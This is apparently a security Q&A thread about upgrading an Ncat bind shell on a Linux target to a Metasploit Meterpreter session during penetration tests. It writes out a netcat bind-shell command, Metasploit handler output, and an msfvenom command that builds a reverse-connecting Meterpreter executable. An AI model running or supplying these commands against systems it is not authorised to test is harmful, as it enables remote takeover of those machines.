1

During penetration tests, I am often able to open a Ncat Bind Shell on the victim system (linux), which opens a port that I can then connect to:

nc -l -v -k -e /bin/bash -p 4444

I now want to upgrade this ncat shell to a meterpreter session. I found this post in the rapid7 community forum that addresses the issue:

https://community.rapid7.com/thread/4508#comment-12539

The given answer is the following:

Netcat is a completely separate executable that can't be upgraded from within the framework to meterpreter. You can add a user account through the command line, then use psexec to upload and execute the meterpreter binary.

Basically, metasploit will always send a stager first which then downloads the full meterpreter binary, but it cannot interact with the ncat shell directly. The post suggests to simply upload the full meterpreter binary via the ncat shell and then execute it. However, I was not able find such a standalone binary within the framework.


PS: Here is some debug output from the metasploit framework when attempting to upgrade the ncat shell:

msf > use multi/handler
msf exploit(handler) > set payload linux/x64/shell/bind_tcp 
payload => linux/x64/shell/bind_tcp
msf exploit(handler) > set LPORT 4444
LPORT => 4444
msf exploit(handler) > set RHOST 192.168.0.101
RHOST => 192.168.0.3
msf exploit(handler) > run 

[*] Starting the payload handler...
[*] Started bind handler
[*] Sending stage (38 bytes) to 192.168.0.101
[*] Command shell session 1 opened (192.168.0.17:33097 -> 192.168.0.101:4444) at 2017-06-05 10:23:35 +0200

Background session 1? [y/N]  y

msf exploit(handler) > sessions -u 1
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [1]

[*] Upgrading session ID: 1
[-] Shells on the target platform, linux, cannot be upgraded to Meterpreter at this time.
  • what's your question? – schroeder Jun 5 '17 at 10:42
  • if you want a standalone meterpreter binary, you need to make one - there are multiple ways to do this with many different tutorials - it's called a 'payload' – schroeder Jun 5 '17 at 10:46
  • Hey schroeder, sorry I should have stated my question more clearly and done more research before posting the question. I meanwhile figured out the solution and will post it just in case someone else has the same problem :) – derbenoo Jun 5 '17 at 12:39
1

You can generate such an exe with msfvenom.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<your ip> LPORT=<your port> -f exe

That's it.

| improve this answer | |

Not the answer you're looking for? Browse other questions tagged or ask your own question.